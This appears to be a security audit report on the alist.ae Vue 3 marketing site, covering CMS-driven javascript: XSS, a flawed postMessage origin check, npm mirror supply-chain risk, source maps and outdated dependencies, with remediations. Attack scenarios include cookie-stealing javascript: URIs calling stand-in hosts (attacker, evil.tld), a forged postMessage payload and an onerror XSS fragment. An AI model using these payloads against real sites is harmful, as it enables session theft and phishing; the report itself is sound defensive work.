Public marketing site for alist.ae — a Vue 3 SPA that renders content from an external Strapi v4 CMS and posts signups to a separate PHP backend.
v-html / innerHTML use, so the directly-exploitable client surface is small. The two dominant risks are a CMS-driven javascript:-URI DOM-XSS via raw :href bindings (no CSP to blunt it) and a supply chain anchored on the third-party registry.npmmirror.com mirror with no pinning or CI audit gate..env.example, no test suite, no CI security/quality gate beyond a lint script. The only pipeline action mirrors the full source to a personal external GitHub account on every commit.| Category | Technology | Version | Notes |
|---|---|---|---|
| Framework | Vue | ^3.2.13 | Mix of Options API and <script setup> |
| Build | @vue/cli-service | ~5.0.0 | webpack 5; vue.config.js is effectively empty |
| Routing | vue-router | ^4.2.4 | createWebHistory — host must SPA-fallback to /index.html |
| State | Vuex | ^4.1.0 | state/mutations/actions/getters split into separate files under src/store/ |
| HTTP | axios + vue-axios | ^1.5.0 / ^3.5.2 | Three clients: axiosClient (Strapi), axiosAPI (PHP backend), axiosAdmin (unused) |
| UI | Bootstrap | ^5.3.0 | LTR vs RTL stylesheet is async-imported once at boot based on initial Vuex state |
| Head / SEO | @vueuse/head | ^2.0.0 | Per-route meta from src/config/meta.js |
| Misc | gsap, swiper, vue3-marquee, markdown-vue, vue3-otp-input, vue3-toastify | — | — |
| Tooling | eslint + eslint-plugin-vue | ^7.32.0 / ^8.0.3 | ESLint 7 is end-of-life since 2022; rules are {} (none custom) |
| Stale deps | node-sass, vue-template-compiler, vue-svg-loader | ^9 / ^2.7.14 / ^0.16.0 | All deprecated / Vue-2-only. vue-svg-loader isn't imported anywhere. |
Classic Vue 3 SPA. main.js bootstraps the app and async-imports the right Bootstrap stylesheet for LTR or RTL. App.vue captures UTM parameters from the URL into Vuex+localStorage on mount and renders a single <layout>. Each page component dispatches Vuex actions that fetch from Strapi (axiosClient) with deeply populated query strings, or from the PHP backend (axiosAPI) for forms and location lookups. The Strapi CMS lives in a sibling repository (strapi/ is gitignored).
This is a skill-grounded static security review of the alist-website repository. Four frontend assessment dimensions (client-side secrets/data exposure, XSS & client-side injection, dependencies/supply-chain & CI/CD, and misconfiguration/CORS/headers) were run against the source, lockfiles, build config and CI pipeline, then deduplicated and severity-normalised. Each finding is mapped to OWASP Top 10 2021, a CWE, and a CVSS 3.1 vector; CVE and EPSS are cited where a public advisory exists.
implementing-secret-scanning-with-gitleaks, testing-for-sensitive-data-exposure, performing-cryptographic-audit-of-applicationtesting-for-xss-vulnerabilities, exploiting-prototype-pollution-in-javascript, testing-for-open-redirect-vulnerabilitiesperforming-sca-dependency-scanning-with-snyk, analyzing-sbom-for-supply-chain-vulnerabilities, detecting-supply-chain-attacks-in-ci-cd, prioritizing-vulnerabilities-with-cvss-scoringtesting-cors-misconfiguration, testing-for-host-header-injection
alist-website is a public Vue 3 marketing SPA with no committed secrets and no v-html, so the directly-exploitable client surface is small, but two high-severity issues dominate: CMS-controlled values are bound straight into :href across the site with no scheme allow-listing, giving any Strapi content editor a stored javascript:-URI DOM-XSS in the alist.ae origin (no CSP exists to blunt it); and the dependency supply chain is anchored on the third-party registry.npmmirror.com for the majority of both lockfiles with no pinning config and no CI audit gate, making a foreign mirror an install-time code-execution trust anchor for the production build. A cluster of Medium issues compounds this: a fail-open postMessage origin check (&& instead of ||) in the YouTube OAuth handler, default-on production source maps, a deprecated node-sass install-script build dependency, several known-vulnerable build-time transitives (nth-check/postcss/ip/braces), and a CI pipeline that force-pushes the full source to a personal external GitHub account on every commit. Notably, the scanners over-rated the hardcoded dev-strapi.alist.ae URL as P1 "prod traffic to dev CMS" — verification shows the ServerCrenditials import is dead (never referenced), so it is only a P3 hostname-disclosure issue. The pervasive root cause is process: no SCA/test/build gate in CI, dual uncurated lockfiles, and uncurated/abandoned dependencies, which lets all of the above accumulate unnoticed.
| Category | Status | Note |
|---|---|---|
| A01:2021 Broken Access Control | clean | Static SPA with no client-enforced authz; the YouTube postMessage flaw is auth-failure not access control (tracked under A07). No client-side trust decisions gate protected resources here. |
| A02:2021 Cryptographic Failures | clean | No secrets in client code; no crypto implemented in-repo. The csrf-token meta is an inert leftover (AW-17), not a real key. |
| A03:2021 Injection | vuln | AW-01 CMS-driven :href javascript: DOM-XSS (P1, exploitable with CMS write). AW-13 markdown-vue allowDangerousHtml is latent only (no v-html, escaped today). |
| A04:2021 Insecure Design | partial | AW-11 dead-but-bundled SignUp.vue hardcodes admin@alist.ae over user email — latent data-integrity landmine if the route is ever re-pointed. |
| A05:2021 Security Misconfiguration | vuln | AW-04 prod source maps, AW-10 no CSP/SRI, AW-12 bundled dev hostname, AW-17 csrf/markdownRules leftovers, AW-18 missing security headers, AW-19 no consent gating. |
| A06:2021 Vulnerable and Outdated Components | vuln | AW-05 node-sass EOL, AW-07 nth-check CVE-2021-3803, AW-08 postcss/ip/braces CVEs, AW-09 no SCA gate, AW-14 markdown-vue/@nuxt/kit, AW-15 vue-template-compiler, AW-16 scss@0.2.4. |
| A07:2021 Identification and Authentication Failures | vuln | AW-03 fail-open postMessage origin check (&& vs ||) in the YouTube OAuth handler enables cross-origin OAuth-result spoofing (P2). |
| A08:2021 Software and Data Integrity Failures | vuln | AW-02 majority of deps resolved from third-party npmmirror with no pinning (P1); AW-06 CI force-pushes full source to a personal GitHub account (P2). |
| A09:2021 Security Logging and Monitoring Failures | n/a | Client-side static SPA; no server-side logging in this repo to assess. Source maps shipped (AW-04) is the closest related concern, covered under A05. |
| A10:2021 Server-Side Request Forgery (SSRF) | n/a | No server-side request-issuing code in this client-only repo. (ip@2.0.0's isPublic() SSRF CVE is build-tooling-only, noted under AW-08.) |
Vue does not sanitize values bound via v-bind:href. Numerous components bind link targets directly from external Strapi v4 CMS responses into :href with no scheme allow-listing. All page copy/links are fetched read-only and unauthenticated from the external Strapi instance. Any actor with Strapi content-edit access (compromised CMS account, a content contributor, or a Strapi public-role/authz misconfiguration) can set a link field to javascript:fetch('https://attacker/c?'+document.cookie). When a visitor clicks the affected link (footer social icon, review link, signup CTA), the script executes in the alist.ae origin. The repo's own CustomLink.vue proves the team knows the safe pattern but applied it to exactly one helper.
:href="socialLink.href" bound directly from $store.state.footer.SocialMediaGroup.SocialMedia[].href fetched from Strapi `api/footer` (src/store/actions.js:74-76)
src/components/Common/CreatorsReviews.vue:66 :href="link.Link" from CMS card data
src/components/Creators/TsHero.vue:32 :href="$store.state.creatorPage.Banner.Login.To"
src/components/Form/CreatorSignupHero.vue:88/95/102 and :449/:585 socialMediaBtn.to bound raw
src/components/Helpers/CustomLink.vue:25-27 isExternalLink() only checks startsWith('https://')||('http://') and is the ONLY guarded link path; the raw :href bindings above perform no scheme allow-listing
No v-html anywhere in src (grep returned nothing) and no Content-Security-Policy in public/index.html, so there is no mitigating controljavascript:fetch('//evil.tld/x?c='+document.cookie). The change propagates via api/footer to every page. A visitor clicks the (e.g. Instagram) footer icon; the javascript: URI executes in alist.ae context, exfiltrating cookies/DOM and enabling a credential-phishing overlay on the signup flow.Stored DOM-based XSS in the production alist.ae origin: cookie/session theft on any logged-in surface sharing the origin, phishing overlays on the high-value creator/brand signup funnel, redirection of signups, and persistent compromise of every visitor who clicks an affected link until the CMS field is cleaned. With no CSP there is no second line of defense. Requires CMS-write privilege (PR:H) and a victim click (UI:R), capping at P1.
CustomLink.vue) that allow-lists only https:, http:, mailto:, tel: and /-relative URLs and rejects javascript:, data:, vbscript: and protocol-relative tricks; route every CMS-derived URL through it and replace the raw :href bindings listed above. Add a CSP with script-src 'self' plus enumerated analytics origins as defense-in-depth. Lock the Strapi public role to read-only and audit who can edit link fields.Confirmed: raw :href bindings present and unguarded at the cited lines; CustomLink.vue is the only scheme-checked path; no v-html and no CSP confirmed. Trust boundary is Strapi write access, hence PR:H/P1 rather than P0. CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Both committed lockfiles record the integrity-verified tarball URLs for the majority of the dependency tree as pointing to registry.npmmirror.com (an Alibaba-operated mirror) rather than registry.npmjs.org. With no .npmrc/.yarnrc to pin a registry, this state was produced by whoever generated the lockfiles and is now persisted for every developer and any CI that honours resolved URLs. The lockfiles carry sha512 integrity hashes (mitigating naive tarball tampering), but a non-npm-Inc third party (the mirror operator plus its CDN/DNS path) becomes a trust anchor for build artifacts of a production site. A mirror compromise, BGP/DNS hijack of the mirror host, or a poisoned mirror cache becomes a code-execution vector at install time because build dependencies run install/postinstall scripts as the developer/CI user.
registry.npmmirror.com (or hijacks DNS/BGP to it, or poisons its CDN cache for a not-yet-pinned version) serves a trojaned tarball for a build dependency. On the next npm install/yarn install on a developer machine or CI runner, the package's postinstall script executes with the user's privileges, exfiltrating credentials or injecting malicious code into the production bundle.Compromise or hijack of the mirror or its network path can substitute malicious build-time dependencies that execute install scripts, leading to developer-workstation and build-pipeline compromise and potential injection of malicious code into the shipped /dist bundle. Even absent active compromise, builds depend on a foreign mirror's availability and patch cadence and artifact provenance is degraded.
registry.npmjs.org. Commit an .npmrc (registry=https://registry.npmjs.org/) and a yarn npmRegistryServer setting, regenerate the lockfile so all resolved URLs point to npmjs.org, and verify integrity. If a mirror is needed for performance, run an internal trusted proxy (Verdaccio/Artifactory/Nexus) under organisational control, enforced via committed config so it cannot silently drift. Also delete one of the two co-existing lockfiles.Confirmed exact mirror/official counts from both lockfiles and confirmed absence of any registry-pinning config. sha512 integrity present (mitigates tamper of already-pinned versions) but provenance and install-time path remain the risk; AC:H reflects need for mirror/network compromise. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
The message-event handler joins its two reject conditions with && instead of ||: it only returns when BOTH the origin is wrong AND the type is not 'youtube-oauth'. An attacker-controlled window/iframe from any origin that holds a reference to the victim tab can send postMessage({type:'youtube-oauth', status:'success', channel:{id,title,customUrl}}); because the type clause is false, the whole AND is false, the early return is skipped, and the attacker's message body is processed. The attacker-controlled channel object drives youtubeChannelInfo, the success toast (event.data.channel.customUrl), and the youtube-connected emit consumed by the parent form.
if (event.origin !== allowedOrigin && event.data.type !== 'youtube-oauth') { return; }
src/components/Form/creator/newFormVer2/Form3Ver2.vue:280-298 reads event.data.status / event.data.channel / event.data.channel.customUrl from the unverified message, sets youtubeConnected=true, renders customUrl into a toast, and $emit('youtube-connected')
src/Pages/YouTubeCallback.vue:78-146 the legitimate sender posts type 'youtube-oauth-success'/'youtube-oauth-error' with targetOrigin window.location.origin — send side is correct; the literal 'youtube-oauth' the guard tests for is not even the real type, so a real callback would still be origin-checked but an attacker using 'youtube-oauth' bypasses itwin.postMessage({type:'youtube-oauth', status:'success', channel:{id:'x',title:'Fake',customUrl:'@attacker'}}, '*'). The && guard is bypassed; the form shows 'YouTube channel @attacker connected successfully', sets youtubeConnected=true, and submits attacker-controlled social-account data with the creator's signup.An attacker page can forge a 'YouTube connected' state in the creator signup form without any real OAuth and inject attacker-chosen channel id/title/customUrl into the UI and into the data the user subsequently submits. Downstream sinks (vue3-toastify string, mustache interpolation, button label) HTML-escape, so this is UI/state spoofing and OAuth-result spoofing rather than direct script execution. Requires the victim to have the form open and the attacker to hold a window handle (UI:R).
if (event.origin !== allowedOrigin) return; separate from any content/type check. Additionally verify event.source === this._youtubePopup, validate event.data.type against the exact expected value after the origin check, never render message fields without escaping, and scope the listener lifetime to the active OAuth flow rather than the whole component mount. Avoid falling back to window.location.origin for allowedOrigin.Confirmed at Form3Ver2.vue:262. Two raw findings (xss_clientside + misconfig_cors) describe the same bug; deduped here. Legit callback type is 'youtube-oauth-success' so the developer happy-path is unaffected, but the literal 'youtube-oauth' fully neuters the origin check. No v-html on the sinks, so spoofing/state-injection not script execution; P2. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vue.config.js does not set productionSourceMap: false and contains no devtool override, so Vue CLI 5's default productionSourceMap=true applies and .js.map files reconstructing the full un-minified source are emitted. If those maps are deployed (common unless the host strips them), the complete original Vue source — internal Strapi/PHP backend route shapes (e.g. v1/brands/web/min-signup, v1/general-settings), the dev-strapi.alist.ae hostname string, the YouTube OAuth flow, the postMessage handling, the dead SignUp.vue admin override, and the embedded third-party IDs — is downloadable by anyone.
https://www.alist.ae/js/app.<hash>.js.map, reconstructs the original source, and reads the full set of backend endpoint shapes, the dev CMS hostname, and the OAuth/postMessage logic — then uses that to craft the AW-01 CMS-XSS and AW-03 postMessage attacks with no guesswork.Source maps hand an attacker a fully readable copy of the application logic, materially lowering the cost of mapping the backend attack surface and locating the other logic findings in this report. No high-entropy secret lives in src, so direct credential exposure is limited; confidentiality-only impact, hence Medium. Confidence 'likely' because whether the .map files are actually served depends on the (out-of-repo) host/CDN.
productionSourceMap: false in vue.config.js (or configureWebpack: { devtool: false }). If maps are needed for error monitoring (e.g. Sentry), generate hidden maps in CI and upload them privately; ensure the host/CDN never serves *.map publicly and delete *.js.map from /dist before deploy.Confirmed no source-map suppression in vue.config.js. Two raw findings (client_secrets P2 + misconfig_cors P3) describe the same issue; deduped to one P2. Exploitability gated on host actually serving maps, hence confidence 'likely'. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
node-sass is officially deprecated/EOL (maintainers direct users to Dart sass). It wraps the dead LibSass C++ library and compiles a native binary via node-gyp through an install script on every install. The project already ships Dart sass + sass-loader, so node-sass is redundant dead build tooling. A deprecated, unmaintained native install-script dependency receives no security patches and executes arbitrary build logic with the installing user's privileges.
npm install; node-sass's postinstall either fails to build on the current toolchain (availability/onboarding block) or, if the prebuilt-binary fallback host or the package itself were compromised, runs attacker code at install time with full user privileges.An unmaintained install-script native dependency enlarges the build-time attack surface and supply-chain footprint (it can fetch a prebuilt binary from a remote host as a fallback), receives no security updates, and creates availability/maintenance risk (frequent install failures on modern Node/Apple-Silicon toolchains).
node-sass from both dependencies and devDependencies and rely solely on Dart sass + sass-loader (already present). Re-test the SCSS build. This also removes one of the install-script packages from the tree.Confirmed in package.json (both sections) and hasInstallScript:true in the lockfile, with Dart sass already present. Adjusted CVSS slightly from raw (kept Local/AC:H) — exploitation requires a compromised package/build host or is an availability issue; P2. CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:L
On every commit, the Bitbucket pipeline tars a clean snapshot of the source and force-pushes it to github.com/parhamramezani/alist — a personal developer GitHub account, not an organisation-controlled repo. This is a continuous automated exfiltration of the full source tree to an account outside the client's governance. The GITHUB_TOKEN is correctly a Bitbucket secured env var (not hardcoded), which is the one good part, but the trust placed in the personal destination plus the --force design are the risk.
Full source-code disclosure and integrity risk via an external personal account the organisation does not control: offboarding that developer or compromise of that personal GitHub account turns the mirror into a leak/tamper point. --force destroys destination history, undermining incident reconstruction. The destination effectively becomes an uncontrolled mirror of company IP.
--force in favour of a protected fast-forward push, rotate the GITHUB_TOKEN and scope it to that org repo only, audit who controls parhamramezani/alist and decommission it after migration, and add a branch filter so the sync only runs on intended branches.Confirmed against bitbucket-pipelines.yml and git remote. Matches the prior audit's P1 'force-push' finding; kept at P2 here because the source is a public-facing marketing SPA with no committed secrets, but governance/IP and integrity risk is real. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
nth-check 1.0.2 contains an inefficient regular expression (CVE-2021-3803) allowing ReDoS when parsing crafted nth-child/CSS selectors. It is dragged in transitively by the abandoned vue-svg-loader@0.16.0 (last published ~2020) through a legacy svgo -> css-select@2.1.0. Exploitability here is bounded: nth-check runs at build time over the project's own SVG assets, the dependency is dev-only, and vue-svg-loader's rule is currently commented out in vue.config.js, so the chain may not even be exercised. It remains a known-vulnerable, unpatched-in-this-tree component and an indicator of an abandoned loader pulling EOL transitives.
Build-time ReDoS / hang if a maliciously crafted SVG is processed by the loader; primarily hygiene/SCA-noise plus an indicator of an abandoned build loader dragging in EOL packages (loader-utils v1, legacy svgo). Not a runtime exposure for the shipped SPA.
vue-svg-loader (its rule is already commented out, suggesting it is unused) or replace with a maintained Vue 3 SVG loader. If the chain must remain, add an npm overrides / yarn resolutions entry forcing nth-check>=2.0.1. Re-run npm audit to confirm the 1.0.2 path is gone.Presence of nth-check@1.0.2 confirmed in both lockfiles via the svg-to-vue chain; confirmed dev-only and that the loader rule is commented out, hence confidence 'likely' for real impact. NVD base 7.5 retained but real-world risk is build-time only. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
The transitive dependency tree carries several packages below their patched versions: postcss 7.0.39 (CVE-2023-44270), ip 2.0.0 (CVE-2024-29415), braces 3.0.2 (CVE-2024-4068). All sit in build/dev tooling (CSS minification, dev-server proxy, file watching) rather than the runtime SPA bundle, so direct production exploitability is limited and these are mostly DoS/parsing-integrity class issues at build time. The presence of the vulnerable versions is confirmed from the lockfile; exploitability confidence is 'likely' because the affected code runs in build context.
Build-time DoS/parsing-integrity exposure and a growing backlog of unremediated known-vulnerable transitive components, degrading trust in the integrity of the produced bundle and indicating an aging Vue CLI 5 / webpack 5 toolchain whose transitives are no longer refreshed.
npm audit / Snyk against the lockfile, then use npm overrides (or yarn resolutions) to force postcss>=8.4.31, ip>=2.0.1, braces>=3.0.3, nth-check>=2.0.1. Schedule a Vue CLI -> Vite migration or at minimum periodic dependency refresh.All three versions confirmed present in package-lock.json at cited lines. Build/dev-context only (ip is dev:true); folded the systemic 'no SCA gate' root cause into AW-09. CVSS lowered from NVD bases to reflect build-time-only reachability. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
The site loads at least eight remote third-party scripts (Hotjar, GTM/Analytics/Ads, Facebook Pixel, TikTok Pixel, Intercom, dynamically-injected Calendly) with execution privileges. None use Subresource Integrity and the page ships no CSP. Several (GTM in particular) are containers that can inject further arbitrary scripts. As a static SPA, no in-repo code emits a CSP response header.
If any of these third-party CDNs/containers is compromised or hijacked (a recurring supply-chain class — tag-manager/analytics CDN takeovers), arbitrary JavaScript executes in the alist.ae origin with no integrity check and no CSP to stop it. Injected script could read the DOM, exfiltrate signup/career/contact form input, manipulate the UI, or pivot via the AW-03 postMessage handler. High attack complexity (depends on third-party compromise) keeps this Medium.
default-src 'self'; script-src 'self' <enumerated trusted analytics origins>; object-src 'none'; base-uri 'self'; frame-ancestors 'none'. Avoid 'unsafe-inline'/'unsafe-eval'. Where a vendor publishes immutable versioned scripts, pin with SRI. Consolidate analytics behind a single GTM container, remove the duplicate AW-16745410453 tag.Confirmed: no CSP meta, no integrity/crossorigin anywhere, Calendly injected dynamically. Trackers are public-by-design IDs (no rotation needed). Folded the duplicate AW-16745410453 tag observation in. AC:H reflects dependence on a third-party compromise; P2. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
The only automated pipeline mirrors source to GitHub; it never installs dependencies, runs npm audit/SCA, lints, builds, or tests. Combined with two co-existing lockfiles (npm + yarn) and no committed registry config, there is no mechanism to detect the known-vulnerable transitive deps (AW-07, AW-08), catch lockfile/registry drift (AW-02), or fail a build on a newly disclosed CVE. This is the root cause that lets the dependency findings persist unnoticed.
Vulnerable and outdated components accumulate without detection; no guardrail against malicious or compromised dependency updates entering the build; dual lockfiles invite resolution drift between developers and any future automated build.
npm ci against a single chosen lockfile, then npm audit --audit-level=high (or Snyk --severity-threshold=high), npm run lint, and the production build, failing on high/critical. Enable Dependabot/Renovate or Snyk fix-PRs. Delete the non-standard lockfile and commit an .npmrc/.yarnrc pinning the official registry.Confirmed pipeline contents, package.json scripts, absence of workflows/hooks, and both lockfiles present with no registry config. This is the systemic root cause; kept as a single P3 process finding. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
The unrouted SignUp.vue overrides every brand signup's email with the literal admin@alist.ae right before posting to the PHP backend's v1/brands/web/min-signup endpoint. The router wires /brand-signups to SignUpVer2.vue (imported under the alias SignUp), so SignUp.vue is dead/unreachable today — but it is still bundled and discoverable (and trivially readable via the shipped source maps, AW-04).
No active exploit today since the component is unrouted. If anyone re-points the route or imports the component, every brand signup would be filed under the admin mailbox, corrupting CRM/attribution data and potentially creating account-takeover paths if downstream systems treat email as identity. A latent design/data-integrity landmine in shipped code.
src/Pages/SignUp.vue and the legacy creator-form folders it pulls in. If the file must remain, remove the FormData['email'] = 'admin@alist.ae' line. Confirm only SignUpVer2.vue handles /brand-signups.Confirmed: line 418 override present; router imports SignUpVer2.vue as SignUp and uses it for /brand-signups, so SignUp.vue is dead code. Carried forward from the prior audit (which rated it P1); downgraded to P3 because it is currently unreachable, but flagged as a latent integrity risk. CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N
ServerCrenditials.js exports a hardcoded development Strapi origin (https://dev-strapi.alist.ae/). Three creator-form components import it, but the imported data object is never used in any of them — it is a dead import. The actual CMS and asset base URLs throughout the app are env-driven (VUE_APP_STRAPI_URL / VUE_APP_STRAPI_URL_ASSESTS). The only real-world effect is that the dev hostname string is compiled into the bundle (and readable via source maps), disclosing internal/dev infrastructure to any visitor.
Discloses a non-public dev infrastructure hostname (dev-strapi.alist.ae) to anyone reading the shipped JS, slightly aiding reconnaissance of internal/dev environments. Confidentiality-only and minor. NOTE: this corrects the scanner's higher-rated claim — because the import is dead, production traffic is NOT routed to the dev CMS and there is no integrity impact.
src/StrapiIntegration/ServerCrenditials.js and the dead imports of it (Form1.vue:180, Form2Ver2.vue:73, newForm/Form3Ver2.vue:56). Add a build-time grep gate that fails if any hardcoded *.alist.ae host appears in src/. Ensure the dev Strapi host is firewalled/IP-allowlisted so it can never be reached by production users.DOWNGRADE from the scanners' P1/P2. Verified the imported data is never referenced in any importer (grep showed only the import statements; requests use axiosAPI/env vars). The 'prod traffic directed to dev CMS' impact is FALSE — it is a dead import; residual risk is only the bundled hostname string. Rated P3 info-disclosure. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
All Strapi markdown (blog bodies, terms/privacy, team bio, FAQ answers, subscription card text, signup descriptions) renders through markdown-vue with no sanitizer and the library's hardcoded allowDangerousHtml:true. Critically, Vue 3 renders the resulting string VNode children as escaped text rather than live HTML (that would require v-html/innerHTML, which is absent), so an embedded script/onerror from the CMS is inert today. This corrects the audit baseline's reasoning with the actual mechanism: the path is NOT reachable for script execution in this SPA. Residual risk is (1) fragility — any future move to v-html/innerHTML, a custom components/transformLinkUri prop, or a library upgrade re-introduces real stored XSS; and (2) raw HTML in CMS content can render as visible broken markup.
<img src=x onerror=...> in a blog body achieves stored XSS in alist.ae with no sanitizer in the stack to stop it.No direct script execution today. Latent stored-XSS exposure if the rendering approach changes or a caller later passes transformLinkUri/components props; minor content-spoofing via leaked raw HTML text. Trust boundary is Strapi write access (PR:H).
:skipHtml="true" (or an explicit :disallowedElements="['script','iframe','object','embed','style']") to every <VueMarkdown>, and route output through DOMPurify if rich HTML is ever needed. Never add custom transformLinkUri/components without re-validating. Pin and re-test markdown-vue on any upgrade. Treat Strapi markdown fields as untrusted.Confirmed allowDangerousHtml hardcoded in the library and no sanitizer in lockfiles, AND confirmed no v-html/innerHTML anywhere in src, so not exploitable today. Correctly downgraded to P3 latent/design risk. CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:N
markdown-vue@1.0.2 is a niche, low-adoption renderer that depends on @nuxt/kit (a Nuxt framework toolkit) plus the full remark/rehype/unified stack — disproportionate for a Vue CLI SPA that is explicitly not Nuxt. This drags a large, single-maintainer framework-grade subtree onto the render path for externally-sourced Strapi markdown, enlarging the transitive attack surface and making the package a higher-value supply-chain target (its compromise would execute in the production bundle).
Disproportionate transitive dependency footprint for client-side markdown rendering; a small single-maintainer package sits on the render path for untrusted CMS content, so a maintainer compromise would land in shipped production code.
markdown-it with explicit DOMPurify sanitisation) that does not depend on @nuxt/kit. Ensure Strapi markdown is sanitised. Pin and monitor whatever renderer is chosen via SCA.Confirmed @nuxt/kit@3.7.4 in the tree pulled by markdown-vue, and confirmed VueMarkdown is actively used on the CMS render path. Supply-chain footprint concern; P3. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
vue-template-compiler is the Vue 2 SFC compiler; Vue 3 uses @vue/compiler-sfc (already pulled by @vue/cli-service). Declaring the Vue 2 compiler in a Vue 3 app is dead/mismatched tooling that bloats the install, confuses SCA/IDE tooling, and signals an uncurated dependency set tracking a stale major line.
Increased dependency footprint and tooling confusion; an unused, never-to-be-patched-for-this-stack package marginally enlarging the supply-chain surface and obscuring real SCA signal.
vue-template-compiler from both dependencies and devDependencies; confirm the build still succeeds (Vue 3 uses @vue/compiler-sfc).Confirmed in package.json (both sections) and lockfile. Dead/mismatched tooling; P3. CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:L
package.json depends on a package literally named scss@0.2.4 — an experimental, abandoned SCSS-to-CSS parser built on ometa@0.2.2 (~2013), entirely distinct from the real sass/sass-loader toolchain the project uses. It is unused in source (almost certainly added by confusion with sass/node-sass) yet it and its abandoned ometa dependency install on every build. Obscure unmaintained packages are prime typosquat/maintainer-takeover targets precisely because they are rarely scrutinised.
Dead, decade-unmaintained transitive code installed into every developer and build environment for no functional benefit; pure attack-surface and provenance liability with zero upside.
scss dependency from package.json entirely and regenerate the lockfiles; verify the SCSS build (sass/sass-loader) is unaffected.Confirmed scss@0.2.4 -> ometa@0.2.2 in lockfile and unused in src. P3 hygiene/supply-chain. CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N
Two unrelated dead artifacts that both create false confidence: (1) a static 40-char csrf-token meta tag ships on every page but is read by no code in this stateless SPA — a Laravel/Blade-era leftover providing zero CSRF protection; and (2) a markdownRules computed in two components implements a markdown-it link_open renderer rule that markdown-vue (remark/rehype) has no API for and is never bound anyway — dead code implying link sanitisation that does not exist.
No exploitable impact. Hygiene/false-confidence: the csrf-token implies CSRF protection that does not exist and pollutes secret-scanner baselines (it is a high-entropy string a generic gitleaks rule will flag); the markdownRules masks the real link-handling behaviour and can lead to the AW-01 :href and AW-13 markdown findings being mis-triaged.
public/index.html (real CSRF must be handled server-side by the PHP/Strapi APIs). Remove the dead markdownRules computed from both signup-hero components or replace with supported markdown-vue props. Add a gitleaks allowlist entry for the token only after removal.Confirmed: csrf-token meta present and unread; markdownRules defined but never bound. Three raw findings (two csrf duplicates across dimensions + the dead markdownRules) deduped into this one P3 hygiene entry. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N
Standard browser hardening response headers — X-Frame-Options / CSP frame-ancestors (clickjacking), Strict-Transport-Security (HSTS), X-Content-Type-Options — cannot be set from this client-side SPA, and no host/proxy config is committed to enforce them. Their presence depends entirely on out-of-repo hosting configuration this assessment cannot confirm.
If the hosting layer omits these headers, the site can be framed for clickjacking/UI-redress against the signup, Calendly demo-request, and contact flows, and HTTPS-downgrade/cookie-stripping protections (HSTS) are absent. No direct data disclosure; hardening gap.
Strict-Transport-Security (max-age>=31536000; includeSubDomains; preload), X-Content-Type-Options: nosniff, and CSP frame-ancestors 'none' (or X-Frame-Options: DENY). Commit the host/proxy header config into the repo (e.g. _headers or an nginx snippet) so the posture is version-controlled and reviewable.Theoretical — confirmed the headers cannot be set in-repo and no host config is committed; actual presence must be verified against the live web server/CDN. Tracked as P3 hardening. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
All third-party measurement IDs are hardcoded in index.html and fire unconditionally on page load with no consent management / Google Consent Mode gating — a likely GDPR/UK-PECR and UAE-PDPL compliance gap for a site that may serve EU/regulated traffic. The IDs themselves are publishable, public-by-design identifiers (no rotation needed). Separately, Intercom is initialized with only app_id and no user_hash; if the backend also omits the HMAC user-identity verification, Intercom user impersonation is possible (must be confirmed server-side).
No credential compromise (the IDs are public). Compliance/privacy exposure: trackers set cookies and exfiltrate behavioural/PII-adjacent data to Meta/TikTok/Google/Hotjar before any consent; Intercom identity HMAC is not visible here, so if the backend omits user_hash an attacker could spoof Intercom user identity.
user_hash (HMAC-SHA256 with the Intercom secret, kept server-side) is set before identifying logged-in users. Deduplicate the doubly-loaded AW-16745410453 tag. Treat the IDs as a tracker inventory for any decommissioning checklist.Confirmed the IDs and unconditional firing in index.html and the absence of consent code; Intercom user_hash status is genuinely out-of-repo (backend) so flagged as a verification item. Public IDs carry no rotation/credential risk. P3 compliance/hygiene. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N
CustomLink.vue) that allow-lists https:/http:/mailto:/tel: + relative and rejects javascript:/data:/vbscript:; replace all raw :href bindings (TsFooter, CreatorsReviews, TsHero, CreatorSignupHero). Lock the Strapi public role to read-only..npmrc (registry=https://registry.npmjs.org/) + yarn npmRegistryServer, regenerate one lockfile so all resolved URLs point to npmjs.org, delete the second lockfile.--force, rotate the GITHUB_TOKEN, and decommission parhamramezani/alist.if (event.origin !== allowedOrigin) return;), verify event.source and the exact message type, and scope the listener to the active OAuth flow.productionSourceMap: false in vue.config.js; if maps are needed for monitoring, upload hidden maps privately and never serve *.map.node-sass from both dependency sections and rely on the existing Dart sass + sass-loader; re-test the SCSS build.npm ci + npm audit --audit-level=high (or Snyk) + lint + production build, failing on high/critical; enable Dependabot/Renovate.overrides / yarn resolutions forcing nth-check>=2.0.1, postcss>=8.4.31, ip>=2.0.1, braces>=3.0.3; remove vue-svg-loader.script-src 'self' + enumerated analytics origins; no unsafe-inline) at the host/CDN; add SRI on pinned vendor scripts; consolidate GTM and drop the duplicate Ads tag.SignUp.vue (admin@alist.ae override), ServerCrenditials.js + its dead imports, the csrf-token meta, and the dead markdownRules computed.:skipHtml="true" (or explicit disallowedElements) to every <VueMarkdown> and treat Strapi markdown as untrusted; route through DOMPurify if rich HTML is ever needed.markdown-vue with a minimal sanitised renderer (markdown-it + DOMPurify); remove vue-template-compiler and 